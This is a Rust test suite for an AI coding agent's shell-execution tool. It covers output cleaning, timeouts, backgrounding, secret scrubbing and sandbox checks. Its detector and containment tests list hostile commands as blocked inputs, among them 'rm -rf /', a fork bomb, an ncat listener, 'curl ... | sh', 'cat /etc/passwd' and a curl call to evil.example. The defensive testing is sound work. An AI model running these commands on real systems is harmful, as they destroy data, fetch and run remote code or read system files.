2516 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
2517 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
2518 }
2519
2520 #[cfg(windows)]
2524 #[tokio::test]
2525 async fn pty_child_sees_a_console_and_pipes_child_does_not() {
2526 let probe = "powershell -NoProfile -Command [Console]::IsOutputRedirected";
2527 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2529 let outcome = ExecuteCommandTool
2530 .execute(serde_json::json!({ "command": probe }), ctx)
2531 .await;
2532 assert!(outcome.is_success(), "{outcome:?}");
2533 assert!(
2534 outcome.output().contains("False"),
2535 "ConPTY child must see a console: {}",
2536 outcome.output()
2537 );
2538 let (ctx, _rx) = pipes_ctx();
2540 let outcome = ExecuteCommandTool
2541 .execute(serde_json::json!({ "command": probe }), ctx)
2542 .await;
2543 assert!(outcome.is_success(), "{outcome:?}");
2544 assert!(
2545 outcome.output().contains("True"),
2546 "pipe child must see redirected stdout: {}",
2547 outcome.output()
2548 );
2549 }
2550
2551 #[cfg(windows)]
2556 #[tokio::test]
2557 async fn pty_output_is_ansi_clean_and_crlf_normalized_windows() {
2558 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2559 let outcome = ExecuteCommandTool
2560 .execute(
2561 serde_json::json!({ "command": "echo RED& echo line2" }),
2562 ctx,
2563 )
2564 .await;
2565 assert!(outcome.is_success(), "{outcome:?}");
2566 let out = outcome.output();
2567 assert!(!out.contains('\u{1b}'), "no escape bytes: {out:?}");
2568 assert!(!out.contains('\r'), "no carriage returns: {out:?}");
2569 let lines: Vec<&str> = out.lines().map(str::trim).collect();
2570 assert!(lines.contains(&"RED"), "RED line present: {out:?}");
2571 assert!(lines.contains(&"line2"), "line2 line present: {out:?}");
2572 }
2573
2574 #[test]
2575 fn strip_ansi_drops_escapes_and_normalizes_line_endings() {
2576 assert_eq!(strip_ansi("\u{1b}[31mRED\u{1b}[0m"), "RED");
2579 assert_eq!(strip_ansi("\u{1b}[2K\u{1b}[1Gline"), "line");
2580 assert_eq!(strip_ansi("\u{1b}]0;title\u{7}body"), "body");
2581 assert_eq!(strip_ansi("\u{1b}]8;;url\u{1b}\\link"), "link");
2582 assert_eq!(strip_ansi("\u{1b}=keypad"), "keypad");
2583 assert_eq!(strip_ansi("a\r\nb"), "a\nb");
2584 assert_eq!(strip_ansi("50%\r100%\r\n"), "50%\n100%\n");
2585 assert_eq!(strip_ansi("\u{1b}P1$r0m\u{1b}\\text"), "text");
2588 assert_eq!(strip_ansi("\u{1b}_payload\u{1b}\\ok"), "ok");
2589 assert_eq!(strip_ansi("\u{1b}Xsos\u{1b}\\a\u{1b}^pm\u{1b}\\b"), "ab");
2590 assert_eq!(strip_ansi("ab\u{8}c"), "ac");
2592 assert_eq!(strip_ansi("x\u{7}y"), "xy");
2593 assert_eq!(strip_ansi("a\n\u{8}b"), "a\nb");
2595 assert_eq!(strip_ansi("\u{8}b"), "b");
2596 assert_eq!(strip_ansi("plain text"), "plain text");
2598 assert_eq!(strip_ansi("x\u{1b}"), "x");
2600 assert_eq!(strip_ansi("x\u{1b}[31"), "x");
2601 assert_eq!(strip_ansi("x\u{1b}Pdangling"), "x");
2603 }
2604
2605 #[test]
2606 fn capped_capture_keeps_head_and_tail() {
2607 let mut c = CappedCapture::new(64);
2609 c.push(b"hello ");
2610 c.push(b"world");
2611 let (out, truncated) = c.finish();
2612 assert_eq!(out, "hello world");
2613 assert!(!truncated);
2614 let mut c = CappedCapture::new(20);
2616 c.push(b"AAAAAAAAAA");
2617 c.push(&[b'x'; 100]);
2618 c.push(b"BBBBBBBBBB");
2619 let (out, truncated) = c.finish();
2620 assert!(truncated);
2621 assert!(out.starts_with("AAAAAAAAAA"), "head kept: {out:?}");
2622 assert!(out.ends_with("BBBBBBBBBB"), "tail kept: {out:?}");
2623 assert!(out.contains("truncated"), "marker present: {out:?}");
2624 }
2625
2626 #[test]
2627 fn secret_env_names_reports_planted_secret() {
2628 temp_env::with_var("MERMAID_TEST_PLANTED_API_KEY", Some("v"), || {
2630 let names = secret_env_names();
2631 assert!(
2632 names.iter().any(|n| n == "MERMAID_TEST_PLANTED_API_KEY"),
2633 "planted secret name must be scrubbed: {names:?}"
2634 );
2635 assert!(!names.iter().any(|n| n == "PATH"));
2636 });
2637 }
2638
2639 #[test]
2640 fn harden_env_sets_git_terminal_prompt() {
2641 let mut cmd = Command::new("sh");
2642 harden_noninteractive_env(&mut cmd);
2643 let set = cmd
2644 .as_std()
2645 .get_envs()
2646 .any(|(k, v)| k == "GIT_TERMINAL_PROMPT" && v.is_some_and(|v| v == "0"));
2647 assert!(set, "GIT_TERMINAL_PROMPT=0 must be injected");
2648 }
2649
2650 #[tokio::test]
2651 async fn dangerous_command_blocked() {
2652 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2653 let outcome = ExecuteCommandTool
2654 .execute(serde_json::json!({"command": "rm -rf /"}), ctx)
2655 .await;
2656 let error = outcome.error_message().expect("expected error");
2657 assert!(error.contains("Dangerous"));
2658 }
2659
2660 #[tokio::test]
2661 async fn cancellation_aborts_long_running_command() {
2662 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2663 let token = ctx.token.clone();
2664 let handle = tokio::spawn(async move {
2665 ExecuteCommandTool
2666 .execute(serde_json::json!({"command": "sleep 10"}), ctx)
2667 .await
2668 });
2669 tokio::time::sleep(Duration::from_millis(30)).await;
2671 token.cancel();
2672 let start = Instant::now();
2673 let outcome = tokio::time::timeout(Duration::from_secs(5), handle)
2676 .await
2677 .expect("didn't hang")
2678 .expect("join");
2679 let elapsed = start.elapsed();
2680 assert!(outcome.was_cancelled());
2681 assert!(
2685 elapsed < Duration::from_secs(2),
2686 "cancellation took {:?} — far slower than expected (regression?)",
2687 elapsed
2688 );
2689 }
2690
2691 #[tokio::test]
2692 async fn timeout_honored() {
2693 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2694 let outcome = ExecuteCommandTool
2695 .execute(serde_json::json!({"command": "sleep 5", "timeout": 1}), ctx)
2696 .await;
2697 assert_eq!(outcome.status, crate::domain::ToolStatus::Error);
2698 let output = outcome.as_tool_message_content();
2699 assert!(output.contains("timed out"));
2700 assert!(output.contains("was killed"));
2701 assert!(output.contains("mode=\"background\""));
2702 }
2703
2704 #[cfg(not(target_os = "windows"))]
2709 #[tokio::test]
2710 async fn timeout_kills_process_tree() {
2711 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2712 let marker =
2714 std::env::temp_dir().join(format!("mermaid_timeout_pgid_{}.pid", std::process::id()));
2715 let _ = std::fs::remove_file(&marker);
2716 let command = format!(
2717 "sh -c 'echo $$ > {}; sleep 30' & sleep 30",
2718 marker.display()
2719 );
2720 let outcome = ExecuteCommandTool
2721 .execute(serde_json::json!({ "command": command, "timeout": 1 }), ctx)
2722 .await;
2723 assert_eq!(outcome.status, crate::domain::ToolStatus::Error);
2724
2725 let mut pid = None;
2728 for _ in 0..30 {
2729 if let Ok(s) = std::fs::read_to_string(&marker)
2730 && let Ok(p) = s.trim().parse::<u32>()
2731 {
2732 pid = Some(p);
2733 break;
2734 }
2735 tokio::time::sleep(Duration::from_millis(50)).await;
2736 }
2737 let pid = pid.expect("grandchild never recorded its pid");
2738
2739 let mut alive = true;
2741 for _ in 0..40 {
2742 if !process_running(pid).await {
2743 alive = false;
2744 break;
2745 }
2746 tokio::time::sleep(Duration::from_millis(50)).await;
2747 }
2748 let _ = std::fs::remove_file(&marker);
2749 assert!(!alive, "grandchild pid {pid} leaked past the timeout");
2750 }
2751
2752 #[cfg(not(target_os = "windows"))]
2753 #[tokio::test]
2754 async fn background_mode_returns_pid_log_and_detected_url() {
2755 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
2756 let outcome = ExecuteCommandTool
2757 .execute(
2758 serde_json::json!({
2759 "command": "printf 'ready http://127.0.0.1:54321\\n'; exec sleep 30",
2760 "mode": "background",
2761 "startup_timeout_secs": 2,
2762 "ready_pattern": "ready"
2763 }),
2764 ctx,
2765 )
2766 .await;
2767
2768 assert!(
2769 outcome.is_success(),
2770 "expected background success: {:?}",
2771 outcome
2772 );
2773 let output = outcome.output().to_string();
2774 assert!(output.contains("Background command started"));
2775 assert!(output.contains("PID:"));
2776 assert!(output.contains("Log:"));
2777 assert!(output.contains("Ready: matched pattern"));
2778 assert!(output.contains("Detected URL: http://127.0.0.1:54321"));
2779
2780 if let Some(pid) = parse_pid(&output) {
2781 let _ = Command::new("kill").arg(pid.to_string()).status().await;
2782 }
2783 }
2784
2785 #[cfg(target_os = "windows")]
2786 #[tokio::test]
2787 async fn background_mode_returns_pid_and_log_on_windows() {
2788 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2789 let outcome = ExecuteCommandTool
2790 .execute(
2791 serde_json::json!({
2792 "command": "echo ready & ping -n 30 127.0.0.1",
2793 "mode": "background",
2794 "startup_timeout_secs": 3,
2795 "ready_pattern": "ready"
2796 }),
2797 ctx,
2798 )
2799 .await;
2800
2801 assert!(
2802 outcome.is_success(),
2803 "expected background success on Windows: {:?}",
2804 outcome
2805 );
2806 let output = outcome.output().to_string();
2807 assert!(output.contains("Background command started"));
2808 assert!(output.contains("PID:"));
2809 assert!(output.contains("Ready: matched pattern"));
2810 assert!(
2812 outcome.metadata.process.is_some(),
2813 "background outcome must carry a ManagedProcess"
2814 );
2815
2816 if let Some(pid) = parse_pid(&output) {
2818 crate::utils::terminate_tree(pid, crate::utils::Grace::Graceful).await;
2819 }
2820 }
2821
2822 #[tokio::test]
2823 async fn ctrl_b_backgrounds_a_running_foreground_command() {
2824 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
2825 let background = ctx.background.clone();
2826 let command = if cfg!(target_os = "windows") {
2828 "ping -n 30 127.0.0.1"
2829 } else {
2830 "sleep 30"
2831 };
2832
2833 let canceller = tokio::spawn(async move {
2835 tokio::time::sleep(Duration::from_millis(300)).await;
2836 background.cancel();
2837 });
2838 let outcome = ExecuteCommandTool
2839 .execute(
2840 serde_json::json!({ "command": command, "timeout": 60 }),
2841 ctx,
2842 )
2843 .await;
2844 let _ = canceller.await;
2845
2846 assert!(
2847 outcome.is_success(),
2848 "backgrounding should yield success: {:?}",
2849 outcome
2850 );
2851 let output = outcome.output().to_string();
2852 assert!(output.contains("Moved to background"), "got: {output}");
2853 let process = outcome.metadata.process.clone();
2855 assert!(
2856 process.is_some(),
2857 "background outcome must carry a ManagedProcess"
2858 );
2859
2860 if let Some(p) = process {
2862 crate::utils::terminate_tree(p.pid, crate::utils::Grace::Graceful).await;
2863 }
2864 }
2865
2866 fn parse_pid(output: &str) -> Option<u32> {
2867 output
2868 .lines()
2869 .find_map(|line| line.strip_prefix("PID: "))
2870 .and_then(|pid| pid.trim().parse().ok())
2871 }
2872
2873 #[test]
2874 fn dangerous_detection_covers_known_shapes() {
2875 assert!(contains_dangerous_command("rm -rf /"));
2876 assert!(contains_dangerous_command(":(){ :|:& };:"));
2877 assert!(contains_dangerous_command("ncat -l 8080"));
2878 assert!(!contains_dangerous_command("ls -la"));
2879 assert!(!contains_dangerous_command("cargo build"));
2880 assert!(!contains_dangerous_command(
2881 r#"find . -type f ! -path "./.git/*" ! -path "./.mermaid/*" 2>/dev/null"#
2882 ));
2883 }
2884
2885 #[test]
2886 fn dangerous_detection_resists_substring_evasion() {
2887 assert!(contains_dangerous_command("RM -RF /"));
2890 assert!(contains_dangerous_command("rm -rf /"));
2891 assert!(contains_dangerous_command("echo hi; rm -rf /"));
2892 assert!(contains_dangerous_command("echo hi&&rm -rf /"));
2893 assert!(contains_dangerous_command("curl http://x | sh"));
2894 assert!(contains_dangerous_command("curl http://x|sh"));
2895 assert!(contains_dangerous_command("/bin/rm -rf /"));
2896 assert!(!contains_dangerous_command("bash build.sh"));
2898 assert!(!contains_dangerous_command("echo done > /dev/null"));
2899 assert!(!contains_dangerous_command("grep -rf patterns.txt src"));
2900 }
2901
2902 #[tokio::test]
2903 async fn read_capped_keeps_head_and_tail_on_overflow() {
2904 let mut data = Vec::new();
2906 data.extend_from_slice(b"HEAD_START");
2907 data.extend(std::iter::repeat_n(b'x', 5000));
2908 data.extend_from_slice(b"TAIL_ERROR_HERE");
2909 let (out, truncated) = read_capped(&data[..], 100, 10_000, None, None).await;
2910 assert!(truncated, "oversized output must be marked truncated");
2911 assert!(out.contains("HEAD_START"), "head must survive: {out}");
2912 assert!(out.contains("TAIL_ERROR_HERE"), "tail must survive: {out}");
2913 assert!(out.contains("elided"), "must mark the elision: {out}");
2914 }
2915
2916 #[tokio::test]
2917 async fn read_capped_small_output_is_verbatim() {
2918 let (out, truncated) = read_capped(&b"short output"[..], 100, 10_000, None, None).await;
2919 assert!(!truncated, "small output must not be truncated");
2920 assert_eq!(out, "short output");
2921 }
2922
2923 #[test]
2924 fn scratch_prover_accepts_only_provably_contained_commands() {
2925 let scratch = Path::new("/tmp/mermaid_scratch/proj/sess");
2926
2927 for cmd in [
2930 "ls",
2931 "ls -la",
2932 "mkdir out",
2933 "touch notes.txt",
2934 "cp a.txt sub/b.txt",
2935 "cat /tmp/mermaid_scratch/proj/sess/notes.txt",
2936 "rm -f old.log",
2937 ] {
2938 assert!(
2939 command_provably_in_scratch(cmd, scratch),
2940 "{cmd:?} should prove scratch-contained",
2941 );
2942 }
2943
2944 for cmd in [
2946 "", "cat ../secret", "cat /etc/passwd", "/bin/rm -rf notes.txt", "echo hi > out.txt", "ls; touch pwned", "true && touch pwned", "cat file | tee other", "cat $(pwd)/x", "cat `pwd`/x", "cat $HOME/x", "ls ~", "rm *", "cp -t/etc x", "tar --directory=/ x", "env VAR=/etc cmd", "curl https://evil.example/x", "type C:secret.txt", "copy C:\\evil x", "unclosed 'quote", ] {
2967 assert!(
2968 !command_provably_in_scratch(cmd, scratch),
2969 "{cmd:?} must NOT prove scratch-contained",
2970 );
2971 }
2972 }
2973
2974 #[test]
2975 fn classify_cwd_three_way_containment() {
2976 let base = std::env::temp_dir().join(format!("mermaid_cwd3_{}", std::process::id()));
2977 let _ = std::fs::remove_dir_all(&base);
2978 let project = base.join("project");
2979 let scratch = base.join("scratch");
2980 std::fs::create_dir_all(&project).unwrap();
2981 std::fs::create_dir_all(&scratch).unwrap();
2982 let scratch_real = std::fs::canonicalize(&scratch).unwrap();
2983 let outside = std::fs::canonicalize(&base).unwrap();
2984
2985 assert_eq!(
2987 classify_cwd(true, &project, Some(&scratch)),
2988 CwdContainment::Project
2989 );
2990 assert_eq!(
2993 classify_cwd(false, &scratch_real, Some(&scratch)),
2994 CwdContainment::Scratchpad
2995 );
2996 assert_eq!(
2998 classify_cwd(false, &scratch_real, None),
2999 CwdContainment::External
3000 );
3001 assert_eq!(
3003 classify_cwd(false, &outside, Some(&scratch)),
3004 CwdContainment::External
3005 );
3006 assert_eq!(
3008 classify_cwd(false, &scratch_real, Some(&base.join("missing"))),
3009 CwdContainment::External
3010 );
3011
3012 let _ = std::fs::remove_dir_all(&base);
3013 }
3014
3015 #[tokio::test]
3016 async fn scratch_cwd_is_not_escalated_to_external_directory() {
3017 let base = std::env::temp_dir().join(format!("mermaid_scwd_{}", std::process::id()));
3022 let _ = std::fs::remove_dir_all(&base);
3023 let project = base.join("project");
3024 let scratch = base.join("scratch");
3025 std::fs::create_dir_all(&project).unwrap();
3026 std::fs::create_dir_all(&scratch).unwrap();
3027
3028 let (tx, _rx) = tokio::sync::mpsc::channel(64);
3031 let mut config = crate::app::Config::default();
3032 config.safety.mode = crate::runtime::SafetyMode::ReadOnly;
3033 let mut ctx = crate::providers::ctx::ExecContext::new(
3034 tokio_util::sync::CancellationToken::new(),
3035 tx,
3036 ToolCallId(1),
3037 TurnId(1),
3038 project.clone(),
3039 std::sync::Arc::new(config),
3040 String::new(),
3041 None,
3042 None,
3043 None,
3044 crate::runtime::SafetyMode::ReadOnly,
3045 None,
3046 None,
3047 None,
3048 None,
3049 None,
3050 );
3051 ctx.scratchpad = Some(scratch.clone());
3052 let outcome = ExecuteCommandTool
3053 .execute(
3054 serde_json::json!({
3055 "command": "echo hi",
3056 "working_dir": scratch.display().to_string(),
3057 }),
3058 ctx,
3059 )
3060 .await;
3061 assert!(
3062 outcome.is_success(),
3063 "scratch cwd must not be escalated to ExternalDirectory: {outcome:?}",
3064 );
3065
3066 let _ = std::fs::remove_dir_all(&base);
3067 }
3068
3069 #[tokio::test]
3070 async fn child_env_carries_scratchpad_export() {
3071 let dir = std::env::temp_dir().join(format!("mermaid_env_{}", std::process::id()));
3074 std::fs::create_dir_all(&dir).unwrap();
3075 #[cfg(unix)]
3076 let probe = r#"printf %s "${MERMAID_SCRATCHPAD:-UNSET}""#;
3077 #[cfg(windows)]
3078 let probe = "if defined MERMAID_SCRATCHPAD (echo %MERMAID_SCRATCHPAD%) else (echo UNSET)";
3079
3080 let run = |scratchpad: Option<PathBuf>| {
3081 let dir = dir.clone();
3082 async move {
3083 let mut cmd = build_sandboxed_shell(probe, false, None);
3084 cmd.current_dir(&dir)
3085 .stdin(Stdio::null())
3086 .stdout(Stdio::piped())
3087 .stderr(Stdio::null())
3088 .env_remove(SCRATCHPAD_ENV_VAR);
3091 export_scratchpad_env(&mut cmd, scratchpad.as_deref());
3092 let out = cmd.output().await.expect("probe spawns");
3093 String::from_utf8_lossy(&out.stdout).trim().to_string()
3094 }
3095 };
3096
3097 let exported = run(Some(dir.clone())).await;
3098 assert_eq!(
3099 exported,
3100 dir.display().to_string(),
3101 "child must see the scratchpad path",
3102 );
3103 let absent = run(None).await;
3104 assert_eq!(absent, "UNSET", "no scratchpad -> no exported variable");
3105
3106 let _ = std::fs::remove_dir_all(&dir);
3107 }
3108}